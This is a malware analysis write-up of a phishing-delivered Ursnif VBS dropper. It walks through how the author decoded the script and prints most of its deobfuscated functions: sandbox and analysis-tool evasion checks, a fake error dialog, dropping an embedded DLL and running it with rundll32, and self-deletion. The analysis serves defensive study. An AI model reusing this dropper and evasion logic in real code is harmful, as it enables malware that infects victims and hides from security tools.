Ursnif Malware Analysis
The Phish
An employee who fields a customer service inbox received the following email (with some redactions):
from:tvaugn <tvaugn@imboni.rw>
to: memberservices <memberservices@{domain}.com>
date: May 11, 2021, 9:29:11 AM
subject: Re: Newsletter Popups - PAID SUBSCRIBER
Hi there ! It is me, tvaugn@{somedomain}.com. Right here I send you a last company contract. Check it please! hxxps://1drv[.]ms/u/s!AiIsZsbRbvS0eKklzU_b_zX6SEU?e=8yFcYk password: 4392 Many thanks ahead! On 2019-11-19 17:56, memberservices@{domain}.com wrote:
Artifacts indicated that the employee clicked on the URL in the email.
The URL took them to a Microsoft OneDrive location that
downloaded a password protected ZIP named file_78840.zip
.
The user opened and extracted the contained file_78840.vbs
.
Lucky for us, our EDR, Cisco AMP for Endpoints, detected the ZIP file as VBS.Heur.ObfDldr.26.45307C74.Gen and quarantined it.
Searching through the email logs it was observed that there was a legitimate email transaction between customer service and a customer with the very same Subject. The customer also had the email address referenced in the email, although it was not used as the From.
Of interest with the legimate transaction is that it was from 2019, about a year and a half previous to this phish. One can only guess that the customer’s email account or workstation had now been compromised and the phisher was sending emails that would appear to be part of a thread.
Headers in the email also seemed to indicate that it originated from a compromised WordPress site.
X-EN-Info: U=ipg.jeangatarayiha81793 P=/wp-includes/SimplePie/Decode/HTML/defense.php
X-EN-CGIUser: ipg.jeangatarayiha81793
X-EN-CGIPath: /wp-includes/SimplePie/Decode/HTML/defense.php
X-EN-OrigIP: 45.3.199.154
Reverse Engineering
First thing we see in the obfuscated VBS is that they have two types of garbage comments to help get in the way.
Let’s start by stripping the comments. Since we’re doing our work on Ubuntu, we’ll also convert to unix line enders.
cat file_78840.vbs | dos2unix | sed 's/REM .*//' | sed "s/'.*//" | sed 's/:$//' > file_78840-no-comments.vbs
Looking through the script there is a limited set of statements. There are a whole lot of assigments, either Array’s or const’s.
Kcl = Array(EgOy,f,wb,1,N,1,...)
const dc = 163
const jbnk = 162
mdUPT = Array(1,1,1,1,1...)
The first thing that is not an assigment is this.
execute(jSq(Ebs))
Ah hah, they want to execute something. We can see that Ebs is an Array.
Ebs=Array(xVL,Cb,HJO,E...)
jSq is some kind of function that must decode the array before execution.
Function jSq(furrow)
ironwood=1:AvNm=9
YDoa = lbound(furrow)
sonny = ubound(furrow)
for XfWBH = YDo to sonny
Randomize
if furrow(XfWBH) = 999999 Then
Marx716 = Marx716 & ChrW(Int((ironwood-AvNm+1)*Rnd+AvNm))
Else
Marx716 = Marx716 & ChrW(furrow(XfWBH) - (((81 + 257.0) - (439 - 109.0)) + (-7.0)))
End if
Next
jSq = Marx716
End Function
The expression (((81 + 257.0) - (439 - 109.0)) + (-7.0))
is simply the integer 1.
What jsq()
does is iterate across the array and subtract 1 from each element
and create a string from it.
Looking at the Array() though shows non-integers. Looking again at the first Array() that will be decoded is this.
Ebs=Array(xVL,Cb,HJO,E...)
Turns out that those elements are declared as constants like this.
const xVL = 71
const Cb = 118
const HJO = 111
Swapping out the constants shows Ebs
to actually look more like this.
Ebs=Array(71,118,111,...)
At the very bottom of the script are a series of random words not commented out. Later we’ll discover that each of these is a function.
genital
inquisitor
mrQL
ablate
bar
impost
daddy501
vyV
diet
qHW
plural
Decode the Arrays
Let’s create a Python to safely decode the Arrays, first extract all the constants since they must be declared prior to the Arrays.
grep "const " file_78840-no-comments.vbs | sed 's/^const //' > file_78840.py
Next pull out the Arrays.
grep "Array(" file_78840-no-comments.vbs | sed 's/Array(/[/' | sed 's/)/]/' >> file_78840.py
Let’s create a Python version of the jSq()
function.
def jSq(encoded):
output = ''
for element in encoded:
output += chr(element - 1)
return output
Edit file_78840.py
and append the above function to it.
Lastly grab the executes.
grep "execute" file_78840-no-comments.vbs | sed 's/execute/print/' >> file_78840.py
The end of the script should just print the output of the decoded arrays.
print(jSq(Ebs))
print(jSq(VEesNwE))
print(jSq(KTmWvwHB))
...
Now we can run our Python version of the script
python file_78840.py > file_78840-decoded1.vbs
Looking at our output we suddenly have a bunch of actual code to examine.
genital()
Function genital()
WKh("DEBUG: FS_TD1 - Start")
WKh("DEBUG: FS_TD2 - Start")
on error resume next
Dim ironwood,AvNm
ironwood=6000
AvNm=2000
Randomize
WScript.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
schelling = (30 - ((91 + (-41.0)) + (-(339 - 316.0))))
schelling_download = (((31 + 830.0) - 792.0) + (-(7 + 59.0)))
If CreateObject("Scripting.FileSystemObject").GetFolder(rumple).Files.Count < schelling Then
WKh("DEBUG: FS_TD1 - False")
WKh("DEBUG: FS_TD2 - Terminated")
milord
End If
REM genus, periphrastic circumstance Pembroke...
Interestingly even the encoded VBS has garbage remarks, so lets strip them.
sed 's/REM .*//' < file_78840-decoded1.vbs | sed "s/'.*//" > file_78840-decoded2.vbs
The first function is named genital()
. Here it is indented with added comments.
Function genital()
WKh("DEBUG: FS_TD1 - Start")
WKh("DEBUG: FS_TD2 - Start")
on error resume next
Dim ironwood,AvNm
ironwood=6000
AvNm=2000
Randomize
' sleep 6 to 2 seconds
WScript.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
schelling = (30 - ((91 + (-41.0)) + (-(339 - 316.0))))
'schelling = 3
schelling_download = (((31 + 830.0) - 792.0) + (-(7 + 59.0)))
'schelling_download = 3
If CreateObject("Scripting.FileSystemObject").GetFolder(rumple).Files.Count < schelling Then
WKh("DEBUG: FS_TD1 - False")
WKh("DEBUG: FS_TD2 - Terminated")
milord
End If
WKh("DEBUG: FS_TD1 - True")
Set corrigenda = CreateObject("WScript.Shell")
dash984 = corrigenda.ExpandEnvironmentStrings("%USERPROFILE%") + "\Downloads\"
If CreateObject("Scripting.FileSystemObject").GetFolder(dash984).Files.Count < schelling_download Then
WKh("DEBUG: FS_TD2 - False")
milord
End If
WKh("DEBUG: FS_TD2 - True")
End Function
This function appears to do some sleeping before checking the number of files in two locations.
But of real interest is there’s debugging statements using
another function WKh()
.
Chasing down the function rumple()
we find this.
Function rumple()
rumple = CStr(WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder((((69 - 25.0) + 18.0) + (-(901 - 841.0)))) + "\")
End Function
So what it does is use GetSpecialFolder(2) to find out what %TMP% is.
Okay, so genital()
is checking that there are at least 3
or more files in %TMP% and the users Download folder.
If it has less, then it calls milord()
.
milord()
Function milord()
If (InStr(WScript.ScriptName, cStr(48446)) > 0 And between = 0) Then
MsgBox("DEBUG: SANDBOX PUSH")
Else
devastate("-")
suburb
WScript.Quit
End If
End Function
If the scriptname contains the string “48446” it will show a debugging MsgBox(). Interesting.
Based on what genital()
just looked for and the debugging message,
it’s safe to say that its purpose is to try to determine
if it’s running in a sandbox and quit.
inquisitor()
Function inquisitor()
WKh("DEBUG: FS_PROCESS - Start")
WKh("DEBUG: FS_PROCESSCOUNT - Start")
on error resume next
Dim ironwood,AvNm
ironwood=6000
AvNm=3000
Randomize
WScript.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
XfWBHproc = (((7835 - 7818.0) + 56.0) - (14 + 59.0)) ' all this is equal to 0
songbird = Array("frida-winjector-helper-64.exe","frida-winjector-helper-32.exe","pythonw.exe","pyw.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","ngvmsvc.exe","sandboxierpcss.exe","analyzer.exe","fortitracer.exe","nsverctl.exe","sbiectrl.exe","angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe","apimonitor.exe","GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe","apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplorer.exe","sftdcc.exe","autorepgui.exe","httplog.exe","ping.exe","shutdownmon.exe","autoruns.exe","icesword.exe","pr0c3xp.exe","sniffhit.exe","autorunsc.exe","iclicker-release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe","procanalyzer.exe","spkrmon.exe","avctestsuite.exe","idag64.exe","processhacker.exe","sysanalyzer.exe","avz.exe","idaq.exe","processmemdump.exe","syser.exe","behaviordumper.exe","immunitydebugger.exe","procexp.exe","systemexplorer.exe","bindiff.exe","importrec.exe","procexp64.exe","systemexplorerservice.exe","BTPTrayIcon.exe","imul.exe","procmon.exe","sython.exe","capturebat.exe","Infoclient.exe","procmon64.exe","taskmgr.exe","cdb.exe","installrite.exe","python.exe","taslogin.exe","ipfs.exe","pythonw.exe","tcpdump.exe","clicksharelauncher.exe","iprosetmonitor.exe","qq.exe","tcpview.exe","closepopup.exe","iragent.exe","qqffo.exe","timeout.exe","commview.exe","iris.exe","qqprotect.exe","totalcmd.exe","cports.exe","joeboxcontrol.exe","qqsg.exe","trojdie.kvpcrossfire.exe","joeboxserver.exe","raptorclient.exe","txplatform.exe","dnf.exe","lamer.exe","regmon.exe","virus.exe","dsniff.exe","LogHTTP.exe","regshot.exe","vx.exe","dumpcap.exe","lordpe.exe","RepMgr64.exe","winalysis.exe","emul.exe","malmon.exe","RepUtils32.exe","winapioverride32.exe","ethereal.exe","mbarun.exe","RepUx.exe","windbg.exe","ettercap.exe","mdpmon.exe","runsample.exe","windump.exe","fakehttpserver.exe","mmr.exe","samp1e.exe","winspy.exe","fakeserver.exe","mmr.exe","sample.exe","wireshark.exe","Fiddler.exe","multipot.exe","sandboxiecrypto.exe","XXX.exe","filemon.exe","netsniffer.exe","sandboxiedcomlaunch.exe")
' wmic /namespace:\\root\cimv2 path Win32_Process GET *
Set mummify = GetObject("winmgmts:\\.\root\cimv2")
Set XfWBHlItems = mummify.ExecQuery("Select * from Win32_Process")
For Each WFS In XfWBHlItems
XfWBHproc = XfWBHproc + 1
For Each kPXa In songbird
If WFS.Name = kPXa Then
WKh("DEBUG: FS_PROCESS - False")
WKh("DEBUG: FS_PROCESSCOUNT - Terminated")
milord
End If
Next
Next
WKh("DEBUG: FS_PROCESS - True")
If (XfWBHproc < 28) Then
' Cisco Threat Grid lands here
WKh("DEBUG: FS_PROCESSCOUNT - False")
milord
End If
WKh("DEBUG: FS_PROCESSCOUNT - True")
End Function
We’ve got another sandbox detection function. This time it’s looking for processes. If one is found or if there are less than 28 running, the script will quit.
peony76590
Function peony765()
WKh("DEBUG: F_UNZIP - Start")
Dim bbxu: Set bbxu = CreateObject("Scripting.FileSystemObject")
Dim videotape: Set videotape = CreateObject("Shell.Application")
Set WFSs=videotape.NameSpace(rumple + "mango.mpe").Items()
videotape.NameSpace(rumple).copyHere WFSs, (((69 + 4.0) + (8 + 1093.0)) - 1158.0)
bbxu.DeleteFile rumple + "mango.mpe", True
WKh("DEBUG: F_UNZIP - True")
End Function
Looks useful, however, it does not appear to be called elsewhere.
Perhaps in another iteration of the malware.
mrQL()
Function mrQL()
WKh("DEBUG: FS_CLB - Start")
on error resume next
Dim ironwood,AvNm
ironwood=5000
AvNm=2000
Randomize
WScript.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
set Berea = GetObject("winmgmts:\\.\root\cimv2")
set XfWBHlOS = Berea.InstancesOf("Win32_OperatingSystem")
for each muskmelon in XfWBHlOS
ostrich = muskmelon.LastBootUpTime
xmP = Mid(ostrich,1,4) & "-" & Mid(ostrich,5,2) & "-" & Mid(ostrich,7,2) & " " & Mid(ostrich,9,2) & ":" & Mid(ostrich,11,2) & ":" & Mid(ostrich,13,2)
gobbledygook = abs(datediff("s",xmP,now))
PUH = gobbledygook \ 60
gulf = PUH \ 60
PUH = PUH mod 60
RVjhQ = RVjhQ mod 60
If (gulf = 0 And PUH < 10) Then
WKh("DEBUG: FS_CLB - False")
milord
End If
next
WKh("DEBUG: FS_CLB - True")
End Function
Besides sleeping, this is another sandbox check. If uptime is less than 10 minutes, then quit.
plural()
Function plural()
WKh("DEBUG: F_RUN - Start")
ironwood=60000
AvNm=40000
Randomize
Set mummify = GetObject("winmg" + "mts:Win32_Pro" + "cess")
If (InStr(WScript.ScriptName, cStr(48446)) > 0 And between = 0) Then
vyV
With WScript
.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
End With
puff = "ca" + "lc.e" + "xe"
mummify.create puff
WKh("DEBUG: F_RUN_T - True")
Else
vyV
With WScript
.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
End With
ydb = "rundll32" + " " + rumple + "mango.mpe" + ",DllRegisterServer":mummify.create ydb
WKh("DEBUG: F_RUN_W - True")
devastate("-")
suburb
End If
End Function
This one checks if the scriptname contains the string 48446
,
if so, it sleeps and launches calc.exe
. Otherwise,
it calls vyV()
, sleeps and performs a rundll32
against
some file called mango.mpe
.
daddy501()
Function daddy501()
WKh("DEBUG: F_MESSAGE - Start")
Dim ironwood,AvNm
ironwood=30000
AvNm=5000
Randomize
With WScript
.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
End With
dCit = MsgBox("Cant start because MSVCR101.dll is missing from your computer. Try reinstalling the program to fix this problem.", vbSystemModal+vbCritical, "System Error")
WKh("DEBUG: F_MESSAGE - True")
End Function
The victim is presented with a misleading dialog.
devastate()
Function devastate(drunken)
on error resume next
Dim MRbh: Set MRbh = CreateObject("MSXML2.ServerXMLHTTP.6.0")
' setOption(2) = 13056
MRbh.setOption(2) = ((((10 + 16033.0) - 431.0) - 42.0) - 2514.0)
MRbh.Open "GET", drunken, False
MRbh.setRequestHeader "User-Agent", "Mozilla/4.0"
MRbh.Send
End Function
This performs an HTTP connection to the provided argument.
ablate()
Function ablate()
WKh("DEBUG: FS_FCH - Start")
on error resume next
Dim ironwood,AvNm
ironwood=5000
AvNm=2000
Randomize
WScript.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
Set mummify = GetObject("winmgmts:\\.\root\cimv2")
Set XfWBHlItems = mummify.ExecQuery("Select * from Win32_LogicalDisk")
For Each WFS In XfWBHlItems
warhead = warhead + Int(WFS.Size / (((1073741842 - 3.0) - 10.0) - (8 + (-3.0))))
Next
' round(warhead) < 50
If round(warhead) < (70 + (-(((597 - 582.0) + 999.0) - 994.0))) Then
WKh("DEBUG: FS_FCH - False")
milord
End If
WKh("DEBUG: FS_FCH - True")
End Function
This sandbox check looks at hard drives to confirm they’re at least 50GB or more.
qHW()
Function qHW()
WKh("DEBUG: F_DROPPED - Start")
Dim rheostat:Set rheostat = CreateObject("ADO"+"DB.S"+"tr"+"eam")
With rheostat
.Type = 2
.Charset = "ISO-8859-1"
.Open()
For Each vlz in Array(Kcl, mdUPT, Uekvw, Dgg, zdp, apg, nbFE, dMHx, HXCvq, wIdg, aonRC, dMg, aMGtd, LPgq, KOPGl, qqHzY, giw, xBpp, Iags, QUnr, bLiuv, oDR, lJu, fTg, CmcB, mVfV, tDdz, iJx, HIYIK, gtD, TcTno, tJbw, IYz, Clqh, Bkwdq, qvY, nVZj, QWP, PmJ, iVGo, EUg, IPBM, cfX, hxphz, hOB, AfvL, rnr, CWonP, EbMbs, JNk, YBbtI, PpQrf, WxMF, EqgFF, dcjWC, oNA, tlS, LhHys, HcZ, fLkFs, Whww, MZLQ, mYz, fbdTi, uHjo, kZwr, fAC, mjj, vpWT, bPaw, qglvu, XNnY, cZqJ, AJIcC, iylYZ, cCIAB, eSwLK, Xvv, KeY, skW, ziBli, SGCl, lWYiW, FYlt, KWmjn, BGE, VLp, PaS, vSdO, KhdWR, nAdY, ZvhsC, bdvj, IgEz, hfzM, wZNG, BXGU, jcuC, byF, KjI, SKUz, EJLQq, rwnWu, AHPY, mHX, yPfW, BXxCi, rlNqN, ZrXKV, yrXAB, GjPb, ttC, FxRuD, FRID, oQcem, lEe, Nrq, dOpA, FsZ, ESW, aykdF, WDFme, YQlwr, leJmO, IHr, eBh, KlRfc, jql, ybDz, dauiL, RFEK, irb, DQot, QMvwI, nEFe, fSI, fkmMb, dNK, QhjvO, axN, XqLKF, EnNq, vmuhM, qNZ, tfT, CtUy, pHZG, lAQ, KgM, QUam, Yemxj, aCOuV, MlOn, PUeV, oJAA, FpzA, mAuX, Rixcu, kIAZG, ondjk, BIIJ, FHrWH, LYW, xosJH, ewfyv, GCr, xItmv, TBM, Yxf, URyG, pgjtH, brJ, AfLE, fArn, zjDxI, vUYaT, vGN, gLhjX, JCEg, DyqD, guhl, AhrJf, rgyg, uele, SThPj, enpqO, xvEs, AEm, SoSKG, nOJ, yBsXJ, FUnhV, eBUlE, ofbj, ofRjZ, RyYB, QCfK, QsJ, HZQRt, AquQn, uNGo, aQxJ, nXkOF, FDE, TgZfg, pwoWN, FQI, AJf, ZKr, TYYq, sgxd, OgQqc, FYr, sZMK, HJECS, ygDz, tBVd, HkxD, ZPC, jSZ, tQMc, wuES, YLHxH, jpYse, GKKuf, Qyy, xYE, uTHA, vaG, arfSL, fhCYj, cUjNr, dKN, RbG, Ecqkc, Kox, eJFIp, PHI, RpmCt, paFp, xYV, Dzauf, bOJ, dXTsW, kSgEU, LhEvD, ZTOSS, VhGO, LkdNe, hFkkX, bHWII, GamhC, pGTC, bBD, aDXQ, UPEG, VPHPP, bAXS, Vtnfq, nys, TkoLa, QuRp, IIPdn, PsSu, CwdI, kLwG, jIGX, ceY, AuPE, sKizB, VsS, CIew, vkaa, dIB, YNDCX, Coh, dyJh, AqfE, AXO, SfOyo, xQPJ, IFkS, lhb, yVy, gTK, pJP, EbV, dmZ, jDnyG, LTVLR, fxa, Hqf, GAYUA, PBc, bna, THlD, hZRCg, UsctZ, Amr, ynX, LAsRG, ArJkB, GYypB, HWWTs, WMGh)
.WriteText jSq(vlz)
Next
.Position = 0
.SaveToFile rumple + "mango.mpe", 2
.Close
End With
WKh("DEBUG: F_DROPPED - True")
End Function
This creates a file named %TMP%\mango.mpe
.
Here it uses an Array of Arrays, feeding each one to jSq()
.
So the reason why the VBS is so large is that there is
a 482,816 byte DLL encoded inside it.
WKh()
Function WKh(DWLf)
If (InStr(WScript.ScriptName, cStr(48446)) > 0 And between = 0) Then
MsgBox(DWLf)
End If
End Function
All of the functions call WKh()
to display debugging messages
if the script name contains the string 48446
or if there
is a file named %USERPROFILE%/Downloads/48446.txt
.
bar()
Function bar()
WKh("DEBUG: FS_FCC - Start")
on error resume next
Set mummify = GetObject("winmgmts:\\.\root\cimv2")
Set XfWBHlItems = mummify.ExecQuery("Select * from Win32_Processor", , ((106 - (5 + 6.0)) + (-(2798 - 2751.0))))
For Each WFS In XfWBHlItems
' WFS.NumberOfCores < 3
If WFS.NumberOfCores < ((75 - 5.0) - ((79 + (-18.0)) + 6.0)) Then
slzu = True
WKh("DEBUG: FS_FCC - False")
End If
Next
If slzu Then
milord
End If
WKh("DEBUG: FS_FCC - True")
End Function
Sandbox check for at least 3 cores.
impost()
Function impost()
WKh("DEBUG: FS_CM - Start")
on error resume next
Dim ironwood,AvNm
ironwood=6000
AvNm=3000
Randomize
WScript.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
Set mummify = GetObject("winmgmts:\\.\root\cimv2")
Set XfWBHlItems = mummify.ExecQuery("Select * from Win32_ComputerSystem")
For Each WFS In XfWBHlItems
warhead = warhead + Int((WFS.TotalPhysicalMemory) / (1048665 - ((29 + (-(8730 - 8723.0))) + 67.0)))
Next
' warhead < 1030
If warhead < ((52 + (5878 - 4894.0)) - (1182 - 1176.0)) Then
WKh("DEBUG: FS_CM - False")
milord
End If
WKh("DEBUG: FS_CM - True")
End Function
Sandbox check for at least 1030 MBytes.
diet()
Function diet()
WKh("DEBUG: F_LOCKFILE - Start")
Dim ironwood,AvNm
ironwood=10000
AvNm=4000
Randomize
With WScript
.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
End With
Dim dyM: Set dyM = CreateObject("WScript.Shell")
Dim bbxu: Set bbxu = CreateObject("Scripting.FileSystemObject")
If (bbxu.FileExists(rumple + "adobe.url")) Then
WKh("DEBUG: F_LOCKFILE - False")
milord
Else
With dyM.createShortcut(rumple + "adobe.url")
.TargetPath = "https://adobe.com"
.Save()
End With
WKh("DEBUG: F_LOCKFILE - True")
End If
End Function
Looks for TMP%/adobe.url
. If it exists, quit.
Otherwise create a shortcut file.
suburb()
Function suburb()
Dim Im: Set Im = WScript.CreateObject("Scripting.FileSystemObject")
Im.DeleteFile WScript.ScriptFullName, True
End Function
Delete the running script.
vyV()
Function vyV()
Dim ironwood,AvNm
ironwood=10000
AvNm=4000
Randomize
With WScript
.Sleep Int((ironwood-AvNm+1)*Rnd+AvNm)
End With
diabolic = 0
Do While diabolic < 100000000
If (diabolic = 100000000) Then
WKh("DEBUG: F_COUNTERS - False")
WScript.Quit
End If
If (diabolic = 5000000) Then
Exit Do
End If
diabolic = diabolic + 1
Loop
With WScript
.Sleep 5000
End With
WKh("DEBUG: F_COUNTERS - True")
End Function
Besides some simple sleeping, performs a counting loop. Maybe this helps deal with sandboxes.
between()
Function between()
' check if %USERPROFILE%\Downloads\48446.txt exists
' if so return 0, else 1
Set corrigenda = CreateObject("WScript.Shell")
dash984 = corrigenda.ExpandEnvironmentStrings("%USERPROFILE%") + "\Downloads\" + "48446" + ".txt"
If WScript.CreateObject("Scripting.FileSystemObject").FileExists(dash984) Then
KiLo = ((51 - 32.0) + (-((67 - 2.0) + (-46.0))))
'Kilo = 0
Else
KiLo = ((38 + 48.0) + (-(251 - (2186 - 2020.0))))
'KiLo = 1
End If
between = KiLo
End Function
This is one of the two debugging mode checks.
If %USERPROFILE%\Downloads\48446.txt
then return 0, else return 1.
Sequence of Execution
Looking back at the initial VBS, the sequence of functions is as follows with comments as to what they perform.
Function | Description |
---|---|
genital | sandbox check for number of files in %TMP% and Downloads |
inquisitor | sandbox check for process names or less than 28 processes |
mrQL | sandbox check for uptime of 10 minutes or less |
ablate | sandbox check for hard drive less than 50GB |
bar | sandbox check for less than 3 CPU cores |
impost | sandbox check for less than 1030 Mbytes of memory |
daddy501 | show misleading message to user |
vyV | sleep and spin CPU |
diet | check for lock file adobe.url |
qHW | create file %TMP%/mango.mpe |
plural | execute %TMP%/mango.mpe |
Purpose
The whole purpose of the VBS is to contain a DLL, perform sandbox checks, extract and execute the DLL.
Debug Mode
You can run this VBS in debug mode by simply renaming
the original script so that it contains the string 48446
.
It will show MsgBox’s with debugging statements
and it doesn’t launch the next payload.
Similar malware
After reversing I found an extremely similar analysis here https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex by Arnold Osipov.
IOCs
- hxxps://1drv[.]ms/u/s!AiIsZsbRbvS0eKklzU_b_zX6SEU?e=8yFcYk
References
Sample
The sample can be found here:
- file_78840.vbs on VirusTotal
- file_78840.vbs on Malware Bazaar
- mango.mpe